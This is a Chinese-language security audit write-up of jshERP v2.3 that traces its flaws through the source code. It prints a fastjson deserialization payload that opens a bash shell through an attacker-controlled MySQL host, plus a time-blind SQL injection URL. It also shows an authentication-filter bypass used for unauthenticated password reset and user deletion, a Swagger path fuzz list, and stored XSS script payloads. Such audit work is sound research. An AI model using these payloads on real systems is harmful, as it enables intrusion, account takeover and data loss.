代码审计-jshERP v2.3

参考

深入学习Java代码审计技巧—详细剖析某erp漏洞-先知社区

环境搭建

https://github.com/jishenghua/jshERP/releases/tag/2.3

java版本为1.8

创建完数据库之后,在application.properties文件中修改相关的数据库数据

image-20250527213530992

然后就可以启动了

image-20250527213625598

下面为一位师傅的审计思路,个人觉得是非常的有道理

对于Java代码审计,主要的审计步骤如下:

  • 确定项目技术框架、项目结构
  • 环境搭建
  • 配置文件的分析:如pom.xml、web.xml等,特别是pom.xml,可以从组件中寻找漏洞
  • Filter分析:Filter是重要的组成部分,提前分析有利于把握项目对请求的过滤,在后续漏洞利用时能够综合分析
  • 路由分析:部分项目请求路径与对用的controller方法不对应,提前通过抓包调试分析,了解前端请求到后端方法的对应关系,便于在后续分析中更快定位代码
  • 漏洞探测
    • 探测之前可借用工具辅助分析,如codeql、fortify、Yakit、BP等
    • SQL注入分析、RCE分析可先从代码入手,通过关键API及特征关键字来进行逆向数据流分析,从sink到source,判断参数是否可控
    • XSS、文件上传等漏洞适合正向数据流分析,由于存储型XSS数据流断裂,从代码层面不好将两条数据流联系起来,可以通过前端界面的测试,找到插入口和显示处性质一样的点,在通过后端代码分析,构造出可利用的payload
    • 逻辑漏洞这类也是从前端入手比较好处理,后端代码庞大难以定位

配置文件审计

首先我们先看一眼pom.xml,看看有没有什么漏洞

image-20250527214249780

fastjson版本为1.2.55,存在漏洞

于是乎,我们全局搜索一下parseObject方法

猜测search可能可控,进入分析

image-20250527214722818

查看getInfo函数的调用处,比较多,一个一个筛选,这里选择UserComponent.java中的getUserList方法进行分析

1
2
3
4
5
6
7
8
9
private List<?> getUserList(Map<String, String> map)throws Exception {
String search = map.get(Constants.SEARCH);
// 这里
String userName = StringUtil.getInfo(search, "userName");
String loginName = StringUtil.getInfo(search, "loginName");
String order = QueryUtils.order(map);
String filter = QueryUtils.filter(map);
return userService.select(userName, loginName, QueryUtils.offset(map), QueryUtils.rows(map));
}

逐层向上调用分析,可以得知在ResourceController.java中调用select,即search参数可控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
@GetMapping(value = "/{apiName}/list")
public String getList(@PathVariable("apiName") String apiName,
@RequestParam(value = Constants.PAGE_SIZE, required = false) Integer pageSize,
@RequestParam(value = Constants.CURRENT_PAGE, required = false) Integer currentPage,
@RequestParam(value = Constants.SEARCH, required = false) String search,
HttpServletRequest request)throws Exception {
Map<String, String> parameterMap = ParamUtils.requestToMap(request);
parameterMap.put(Constants.SEARCH, search);
PageQueryInfo queryInfo = new PageQueryInfo();
Map<String, Object> objectMap = new HashMap<String, Object>();
if (pageSize != null && pageSize <= 0) {
pageSize = 10;
}
String offset = ParamUtils.getPageOffset(currentPage, pageSize);
if (StringUtil.isNotEmpty(offset)) {
parameterMap.put(Constants.OFFSET, offset);
}

// 这里
List<?> list = configResourceManager.select(apiName, parameterMap);
objectMap.put("page", queryInfo);
if (list == null) {
queryInfo.setRows(new ArrayList<Object>());
queryInfo.setTotal(BusinessConstants.DEFAULT_LIST_NULL_NUMBER);
return returnJson(objectMap, "查找不到数据", ErpInfo.OK.code);
}
queryInfo.setRows(list);
queryInfo.setTotal(configResourceManager.counts(apiName, parameterMap));
return returnJson(objectMap, ErpInfo.OK.name, ErpInfo.OK.code);
}

根据路由分析,这里的apiName为user,这样能够寻找到UserComponent里的select方法(下面讲sql注入漏洞的时候会解释为什么是user)

于是我们到该路由下面进行测试

image-20250527215228066

然后去bp的专门板块里面进行查看便可以看到dns请求了,证明漏洞存在

接下来可以进行LDAP注入,但是需要确定AutoType是否开启

可以通过以下代码开启

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

但是在实际测试的过程中,没有开启可以通过mysql服务来打

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "vpsip",
"portToConnectTo": 3306,
"info": {
"user": "yso_CommonsCollections6_bash -c {echo,xxxxx}|{base64,-d}|{bash,-i}",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
},
"databaseToConnectTo": "dbname",
"url": ""
}

参考:蓝帽杯2022决赛 - 赌怪 writeup - KingBridge - 博客园 (cnblogs.com)

这里就不继续测试,大致原理是这样,如果不懂fastjson,请参考:Fastjson姿势技巧集合

依赖log4j

1
2
3
4
5
6
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-to-slf4j</artifactId>
<version>2.10.0</version>
<scope>compile</scope>
</dependency>

无相关漏洞,可以通过官方文档或者maven仓库中查看:Maven Repository: org.apache.logging.log4j » log4j-to-slf4j (mvnrepository.com)

从配置文件中还得知了用了mybatis框架和swagger

SQL注入

  • 重点关注创建查询的函数如 createQuery()createSQLQuery()createNativeQuery()
  • 定位SQL语句上下文,查看是否有参数直接拼接,是否有对模糊查询关键字的过滤。
  • 是否使用预编译技术,预编译是否完整,关键函数定位setObject()setInt()setString()setSQLXML()关联上下文搜索set*开头的函数。
  • Mybatis中搜索${},因为对于like模糊查询、order by排序、范围查询in、动态表名/列名,没法使用预编译,只能拼接,所以还是需要手工防注入,此时可查看相关逻辑是否正确。
  • JPA搜索JpaSort.unsafe(),查看是否用实体之外的字段对查询结果排序,进行了SQL的拼接。以及查看EntityManager的使用,也可能存在拼接SQL的情况。

由于用的是mybatis框架,所以全局搜索关键词${,然后挑一个进行查看,这里我选的是UserMapperEx.xml下面的

image-20250527220651719

一看like,可能存在SQL注入,优先考虑时间盲注

为了更方便地追踪sql语句地走向,我自己在idea中下了一个插件:Free MyBatis Tool

向上查找,走到了对应地mapper文件:UserMapperEx.java

image-20250527221106398

继续往上找,走到了UserService.java文件

image-20250528194346047

查找select方法的用法,走到了UserComponent.java

image-20250528194454281

继续查找getUserList方法的用法,走到了本类中的select方法

image-20250528194719040

继续找select方法,走到了CommonQueryManager.java

image-20250528194815328

这里为什么可以调用到这里呢?

UserComponent实现了ICommonQuery接口,所以刚刚其实是调用了ICommonQuery接口的select方法,我们看刚才CommonQueryManager的select方法,通过apiName调用的container的getCommonQuery

跟进一下该方法

image-20250528195017447

返回的是一个ICommonQuery类型的值

这里的先调用初始化init方法,遍历service下的组件(每个文件夹下的component类)压入configComponentMap中

后续调用getCommonQuery方法根据传进来的apiName获取对应的service组件(具体apiName跟对应的service组件映射如下:user->UserComponent)

即service下每个文件夹对应一个apiName,所以这里要调用UserComponent的select方法的话需要apiName为user

解释完后我们继续往上走,走到了ResourceController.java

image-20250528195437704

看到了该方法,我们也就明白了我们所需要的路由是/user/list了,我们知道在该过程中没有对传进来的参数进行任何的检测,所以可以进行sql注入,这里我们用的是时间注入,如下所示:
image-20250528195927800

payload:/user/list?search=%7b%22userName%22%3a%22%22%2c%22loginName%22%3a%22jsh'%20and%20sleep(3)--%2b%22%7d&currentPage=1&pageSize=10

虽然payload中就sleep3秒,但是实际测试的时候其实不止

再来一个布尔盲注的点,可参考文章:深入学习Java代码审计技巧—详细剖析某erp漏洞-先知社区中的sql注入片段

还有很多个点可以自己去尝试

未授权

任意访问

关于鉴权方面的,我们就是要重点看filter目录下面的文件了,在这里也就是LogCostFilter.java

根据对init方法的分析可知,ignoredUrls为[.css,.js,.jpg,.png,.gif,.ico],allowUrls为[/user/login,/user/registerUser,/v2/api-docs]

先看verify方法

1
2
3
4
5
6
7
8
9
10
11
12
13
private static String regexPrefix = "^.*";
private static String regexSuffix = ".*$";

private static boolean verify(List<String> ignoredList, String url) {
for (String regex : ignoredList) {
Pattern pattern = Pattern.compile(regexPrefix + regex + regexSuffix);
Matcher matcher = pattern.matcher(url);
if (matcher.matches()) {
return true;
}
}
return false;
}

将ignoredUrls中的逐个元素拼接成正则表达式后与当前url进行匹配,匹配成功即返回true,例如第一个元素形成的正则表达式为^.*.css.*$,即只要包含ignoredUrls中的任意一个元素即可在不登录的情况下访问

在白名单过滤中,只要请求url中以/user/login、/user/registerUser、/v2/api-docs开头即不需要登陆即可访问

然后再看doFilter方法

image-20250528201600876

几个if判断中分别是只要请求url中包含所写的路由,或者是通过verify方法判断,或者是只要以要求的路径开头就可以

这么一看,就是非常的好绕过验证,可以进行路径穿越了

下面给出一个例子

image-20250528201903624

任意重置用户密码

在前面进行黑盒测试的过程中,在登录管理员账号的时候发现可以重置任意一个人的密码为初始密码123456,除了管理员本身,并且传参的时候只有一个id

image-20250528202252144

好嘛,来活了,这不就可以尝试未授权任意重置了嘛。id值在现实情况下可以直接库库爆破梭哈了

image-20250528202424446

成功,关于该具体的代码流程可以自己去跟一下,这里就不写了

sql语句如下:
image-20250528203749408

任意添加用户失败

想要故技重施的时候却失败了,查看一下具体的代码发现insert的sql语句进行了预编译处理,并且还需要tenantId

image-20250528203339558

也就是说这里增加的时候,对于账号需要JsesssionID,不然插入的时候找不到tenant_id导致最后不知道插入到哪里去

任意删除用户

一样的道理

image-20250528203841119

sql查询语句:

1
2
3
4
5
6
7
8
9
<update id="batDeleteOrUpdateUser">
update jsh_user
set status=#{status}
where id in (
<foreach collection="ids" item="id" separator=",">
#{id}
</foreach>
)
</update

删除成功后数据库数据如下:
image-20250528204226300

相关的sql语句

1
UPDATE jsh_user SET status = 1 WHERE id IN ('132')

另外,在不使用未授权漏洞进行删除时,sql语句中存在对tenant_id字段的判断,如下sql语句

1
UPDATE jsh_user SET status = 1 WHERE jsh_user.tenant_id = 63 AND id IN ('132')

任意删除任意客户

依旧是一样的道理

image-20250528204723383

后面的deleteType字段是当提示是否强制删除的时候需要用到的,自己也不详讲,自己测一下就知道了

Swagger泄露

Swagger是一个规范和完整的框架,用于生成、描述、调用和可视化 RESTful 风格的 Web 服务。总体目标是使客户端和文件系统作为服务器以同样的速度来更新。

spring项目中的配置参考:解决 Swagger API 未授权访问漏洞:完善分析与解决方案-阿里云开发者社区 (aliyun.com)

相关路径,在实际测试工程中可用以下字典fuzz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
/api
/api-docs
/api-docs/swagger.json
/api.html
/api/api-docs
/api/apidocs
/api/doc
/api/swagger
/api/swagger-ui
/api/swagger-ui.html
/api/swagger-ui.html/
/api/swagger-ui.json
/api/swagger.json
/api/swagger/
/api/swagger/ui
/api/swagger/ui/
/api/swaggerui
/api/swaggerui/
/api/v1/
/api/v1/api-docs
/api/v1/apidocs
/api/v1/swagger
/api/v1/swagger-ui
/api/v1/swagger-ui.html
/api/v1/swagger-ui.json
/api/v1/swagger.json
/api/v1/swagger/
/api/v2
/api/v2/api-docs
/api/v2/apidocs
/api/v2/swagger
/api/v2/swagger-ui
/api/v2/swagger-ui.html
/api/v2/swagger-ui.json
/api/v2/swagger.json
/api/v2/swagger/
/api/v3
/apidocs
/apidocs/swagger.json
/doc.html
/docs/
/druid/index.html
/graphql
/libs/swaggerui
/libs/swaggerui/
/spring-security-oauth-resource/swagger-ui.html
/spring-security-rest/api/swagger-ui.html
/sw/swagger-ui.html
/swagger
/swagger-resources
/swagger-resources/configuration/security
/swagger-resources/configuration/security/
/swagger-resources/configuration/ui
/swagger-resources/configuration/ui/
/swagger-ui
/swagger-ui.html
/swagger-ui.html#/api-memory-controller
/swagger-ui.html/
/swagger-ui.json
/swagger-ui/swagger.json
/swagger.json
/swagger.yml
/swagger/
/swagger/index.html
/swagger/static/index.html
/swagger/swagger-ui.html
/swagger/ui/
/Swagger/ui/index
/swagger/ui/index
/swagger/v1/swagger.json
/swagger/v2/swagger.json
/template/swagger-ui.html
/user/swagger-ui.html
/user/swagger-ui.html/
/v1.x/swagger-ui.html
/v1/api-docs
/v1/swagger.json
/v2/api-docs
/v3/api-docs

现在看一手关于它的配置文件Swagger2Config.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@Configuration
@EnableSwagger2
public class Swagger2Config {

@Bean
public Docket createRestApi() {
return new Docket(DocumentationType.SWAGGER_2)
.apiInfo(this.apiInfo())
.select()
.apis(RequestHandlerSelectors.any())
.paths(PathSelectors.any())
.build();
}

private ApiInfo apiInfo() {
return new ApiInfoBuilder()
.title("Mybatis-Plus Plugin Example RESTful APIs")
.description("集成Mybatis-Plus模块接口描述")
.termsOfServiceUrl("http://127.0.0.1")
.contact(new Contact("jishenghua", "", ""))
.version("2.1.1")
.build();
}

}

在该类及配置文件中未进行任何的限制及访问控制和身份验证,另外在filter中也未进行身份判断,因此导致在未登录的情况下能够请求得到api接口

image-20250528210108839

修复

  1. 限制生成文档的请求处理程序:使用适当的 RequestHandlerSelectors 来选择只包含需要公开的接口,而不是使用 RequestHandlerSelectors.any()
  2. 限制生成文档的路径:使用适当的 PathSelectors 来选择只包含需要公开的路径,而不是使用 PathSelectors.any()
  3. 添加访问控制和身份验证:确保只有授权用户能够访问 Swagger API 文档。这可以通过配置身份验证和授权机制来实现,例如基于角色或令牌的访问控制。
  4. 定期审查和更新配置:定期审查 Swagger API 文档的配置,确保其与应用程序的安全需求保持一致,并经常更新以反映最新的安全要求。

账号密码泄露

还是filter那边没有写好导致可以任意访问

image-20250528210421015

XSS

关键字:

1
2
3
4
5
6
7
8
9
10
<%=
${
<c:out
<c:if
<c:forEach
ModelAndView
ModelMap
Model
request.getParameter
request.setAttribute

在jsp文件中,使用<c:out>标签是直接对代码进行输出而不当成js代码执行

在使用thymeleaf 模板进行渲染时,模板自带有字符转义的功能

  • th:text 进行文本替换 不会解析html
  • th:utext 进行文本替换 会解析html

以下例子中没有使用渲染模板,最好从前端界面入手,寻找可能的插入点,然后对后端代码进行分析

存储型XSS一般分为两个部分:

  • 将攻击向量通过某个接口存入
  • 将数据库中的攻击向量通过某个接口显示在页面中

存入点分析

根据/supplier/update找到对应的Controller,在ResourceController.java中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@PostMapping(value = "/{apiName}/update", produces = {"application/javascript", "application/json"})
public String updateResource(@PathVariable("apiName") String apiName,
@RequestParam("info") String beanJson,
@RequestParam("id") Long id, HttpServletRequest request)throws Exception {
Map<String, Object> objectMap = new HashMap<String, Object>();
// 这里
int update = configResourceManager.update(apiName, beanJson, id, request);
if(update > 0) {
return returnJson(objectMap, ErpInfo.OK.name, ErpInfo.OK.code);
} else if(update == -1) {
return returnJson(objectMap, ErpInfo.TEST_USER.name, ErpInfo.TEST_USER.code);
} else {
return returnJson(objectMap, ErpInfo.ERROR.name, ErpInfo.ERROR.code);
}
}

找到对应的处理方法

1
2
3
4
5
6
7
@Transactional(value = "transactionManager", rollbackFor = Exception.class)
public int update(String apiName, String beanJson, Long id, HttpServletRequest request)throws Exception {
if (StringUtil.isNotEmpty(apiName)) {
return container.getCommonQuery(apiName).update(beanJson, id, request);
}
return 0;
}

还是一样,找到SupplierComponent.java类中的update方法

1
2
3
4
@Override
public int update(String beanJson, Long id, HttpServletRequest request)throws Exception {
return supplierService.updateSupplier(beanJson, id, request);
}

来到SupplierService.java层

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@Transactional(value = "transactionManager", rollbackFor = Exception.class)
public int updateSupplier(String beanJson, Long id, HttpServletRequest request)throws Exception {
Supplier supplier = JSONObject.parseObject(beanJson, Supplier.class);
if(supplier.getBeginNeedPay() == null) {
supplier.setBeginNeedPay(BigDecimal.ZERO);
}
if(supplier.getBeginNeedGet() == null) {
supplier.setBeginNeedGet(BigDecimal.ZERO);
}
supplier.setId(id);
int result=0;
try{
// 这里
result=supplierMapper.updateByPrimaryKeySelective(supplier);
logService.insertLog("商家",
new StringBuffer(BusinessConstants.LOG_OPERATION_TYPE_EDIT).append(supplier.getSupplier()).toString(), request);
}catch(Exception e){
JshException.writeFail(logger, e);
}
return result;
}

成功找到对应的Mapper,即SupplierMapper,并且操作id为updateByPrimaryKeySelective,在相应的xml文件中找到更新的sql语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<update id="updateByPrimaryKeySelective" parameterType="com.jsh.erp.datasource.entities.Supplier">
update jsh_supplier
<set>
<if test="supplier != null">
supplier = #{supplier,jdbcType=VARCHAR},
</if>
<if test="contacts != null">
contacts = #{contacts,jdbcType=VARCHAR},
</if>
<if test="phoneNum != null">
phone_num = #{phoneNum,jdbcType=VARCHAR},
</if>
<if test="email != null">
email = #{email,jdbcType=VARCHAR},
</if>
<if test="description != null">
description = #{description,jdbcType=VARCHAR},
</if>
<if test="isystem != null">
isystem = #{isystem,jdbcType=TINYINT},
</if>
<if test="type != null">
type = #{type,jdbcType=VARCHAR},
</if>
<if test="enabled != null">
enabled = #{enabled,jdbcType=BIT},
</if>
<if test="advanceIn != null">
advance_in = #{advanceIn,jdbcType=DECIMAL},
</if>
<if test="beginNeedGet != null">
begin_need_get = #{beginNeedGet,jdbcType=DECIMAL},
</if>
<if test="beginNeedPay != null">
begin_need_pay = #{beginNeedPay,jdbcType=DECIMAL},
</if>
<if test="allNeedGet != null">
all_need_get = #{allNeedGet,jdbcType=DECIMAL},
</if>
<if test="allNeedPay != null">
all_need_pay = #{allNeedPay,jdbcType=DECIMAL},
</if>
<if test="fax != null">
fax = #{fax,jdbcType=VARCHAR},
</if>
<if test="telephone != null">
telephone = #{telephone,jdbcType=VARCHAR},
</if>
<if test="address != null">
address = #{address,jdbcType=VARCHAR},
</if>
<if test="taxNum != null">
tax_num = #{taxNum,jdbcType=VARCHAR},
</if>
<if test="bankName != null">
bank_name = #{bankName,jdbcType=VARCHAR},
</if>
<if test="accountNumber != null">
account_number = #{accountNumber,jdbcType=VARCHAR},
</if>
<if test="taxRate != null">
tax_rate = #{taxRate,jdbcType=DECIMAL},
</if>
<if test="tenantId != null">
tenant_id = #{tenantId,jdbcType=BIGINT},
</if>
<if test="deleteFlag != null">
delete_flag = #{deleteFlag,jdbcType=VARCHAR},
</if>
</set>
where id = #{id,jdbcType=BIGINT}
</update>

这整条数据流就是将攻击向量存入数据库的过程,中间的方法为进行任何的过滤,filter层也没有对输入进行过滤。

现在需要触发xss,只需要将相关参数显示在界面中即可。

读取点分析

读取supplier还有另一个api,根据前端观察可以知道为/supplier/list

同样在

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
@GetMapping(value = "/{apiName}/list")
public String getList(@PathVariable("apiName") String apiName,
@RequestParam(value = Constants.PAGE_SIZE, required = false) Integer pageSize,
@RequestParam(value = Constants.CURRENT_PAGE, required = false) Integer currentPage,
@RequestParam(value = Constants.SEARCH, required = false) String search,
HttpServletRequest request)throws Exception {
Map<String, String> parameterMap = ParamUtils.requestToMap(request);
parameterMap.put(Constants.SEARCH, search);
PageQueryInfo queryInfo = new PageQueryInfo();
Map<String, Object> objectMap = new HashMap<String, Object>();
if (pageSize != null && pageSize <= 0) {
pageSize = 10;
}
String offset = ParamUtils.getPageOffset(currentPage, pageSize);
if (StringUtil.isNotEmpty(offset)) {
parameterMap.put(Constants.OFFSET, offset);
}
// 这里
List<?> list = configResourceManager.select(apiName, parameterMap);
// 会将查询到的参数放在map的page参数中
objectMap.put("page", queryInfo);
if (list == null) {
queryInfo.setRows(new ArrayList<Object>());
queryInfo.setTotal(BusinessConstants.DEFAULT_LIST_NULL_NUMBER);
return returnJson(objectMap, "查找不到数据", ErpInfo.OK.code);
}
queryInfo.setRows(list);
queryInfo.setTotal(configResourceManager.counts(apiName, parameterMap));
return returnJson(objectMap, ErpInfo.OK.name, ErpInfo.OK.code);
}

和上述分析过程一致,得到查询语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<select id="selectByConditionSupplier" parameterType="com.jsh.erp.datasource.entities.SupplierExample" resultMap="com.jsh.erp.datasource.mappers.SupplierMapper.BaseResultMap">
select *
FROM jsh_supplier
where 1=1
<if test="supplier != null">
and supplier like '%${supplier}%'
</if>
<if test="type != null">
and type='${type}'
</if>
<if test="phonenum != null">
and phone_num like '%${phonenum}%'
</if>
<if test="telephone != null">
and telephone like '%${telephone}%'
</if>
<if test="description != null">
and description like '%${description}%'
</if>
and ifnull(delete_flag,'0') !='1'
order by id desc
<if test="offset != null and rows != null">
limit #{offset},#{rows}
</if>
</select>

这将数据库中的全部字段结果返回,最后封装在json的page参数中

现在需要寻找将这些结果渲染到前端页面的html文件,使用ajax必定会对响应的路由发起请求,搜索/supplier/list

在supplier.js文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
function showSupplierDetails(pageNo,pageSize) {
var supplier = $.trim($("#searchSupplier").val());
var phonenum = $.trim($("#searchPhonenum").val());
var telephone = $.trim($("#searchTelephone").val());
var description = $.trim($("#searchDesc").val());
$.ajax({
type:"get",
url: "/supplier/list",
dataType: "json",
data: ({
search: JSON.stringify({
supplier: supplier,
type: listType,
phonenum: phonenum,
telephone: telephone,
description: description
}),
currentPage: pageNo,
pageSize: pageSize
}),
success: function (res) {
if(res && res.code === 200){
if(res.data && res.data.page) {
$("#tableData").datagrid('loadData', res.data.page);
}
}
},
//此处添加错误处理
error:function() {
$.messager.alert('查询提示','查询数据后台异常,请稍后再试!','error');
return;
}
});
}

这里对相应的url发起请求,并将其渲染至id为tableData的标签中

寻找调用showSupplierDetails方法的地方,与之匹配的是同文件的initTableData方法,在该方法中,只显示了如下参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
columns:[[
{ field: 'id',width:35,align:"center",checkbox:true},
{ title: '操作',field: 'op',align:"center",width:60,
formatter:function(value,rec,index) {
var str = '';
str += '<img title="编辑" src="/js/easyui/themes/icons/pencil.png" style="cursor: pointer;" onclick="editSupplier(\'' + index + '\');"/>&nbsp;&nbsp;&nbsp;';
if(isShowOpFun()) {
str += '<img title="删除" src="/js/easyui/themes/icons/edit_remove.png" style="cursor: pointer;" onclick="deleteSupplier(\'' + rec.id + '\');"/>';
}
return str;
}
},
{ title: '名称',field: 'supplier',width:150},
{ title: '联系人', field: 'contacts',width:50,align:"center"},
{ title: '手机号码', field: 'telephone',width:100,align:"center"},
{ title: '电子邮箱',field: 'email',width:80,align:"center"},
{ title: '联系电话', field: 'phoneNum',width:100,align:"center"},
{ title: '传真', field: 'fax',width:100,align:"center"},
{ title: '预付款',field: 'advanceIn',width:70,align:"center"},
{ title: '期初应收',field: 'beginNeedGet',width:70,align:"center"},
{ title: '期初应付',field: 'beginNeedPay',width:70,align:"center"},
{ title: '期末应收',field: 'allNeedGet',width:70,align:"center"},
{ title: '期末应付',field: 'allNeedPay',width:70,align:"center"},
{ title: '税率(%)', field: 'taxRate',width:60,align:"center"},
{ title: '状态',field: 'enabled',width:70,align:"center",formatter:function(value){
return value? "<span style='color:green'>启用</span>":"<span style='color:red'>禁用</span>";
}}
]]

因此,在插入攻击向量时,需要在显示的参数中进行选择,当然还需要考虑前端的js过滤。

调用initTableData方法的地方,在supplier.js中

1
2
3
4
5
6
7
8
9
10
//初始化界面
$(function() {
var listTitle = ""; //单据标题
var listType = ""; //类型
var listTypeEn = ""; //英文类型
getType();
initTableData();
ininPager();
bindEvent();
});

这个在引入js时即会调用,全局搜索引入supplier.js的地方

img

在customer.html文件中找到了id为tableData的table

1
<table id="tableData" style="top:300px;border-bottom-color:#FFFFFF"></table>

整个流程到这里结束

测试

触发界面

img

抓包

img

后台执行的SQL语句

1
UPDATE jsh_supplier SET supplier = '客户1', contacts = '小李', phone_num = '12345678', email = '', description = '<script>alert(\'desc\')</script>', type = '客户', enabled = 1, begin_need_get = '0', begin_need_pay = '0', all_need_get = '80', fax = '', telephone = '', address = '<script>alert(\'address\')</script>', tax_num = '', bank_name = '', account_number = '', tax_rate = '12' WHERE jsh_supplier.tenant_id = 63 AND id = 58

刷新界面触发XSS弹窗

img

还有很多其他点就不一一列举了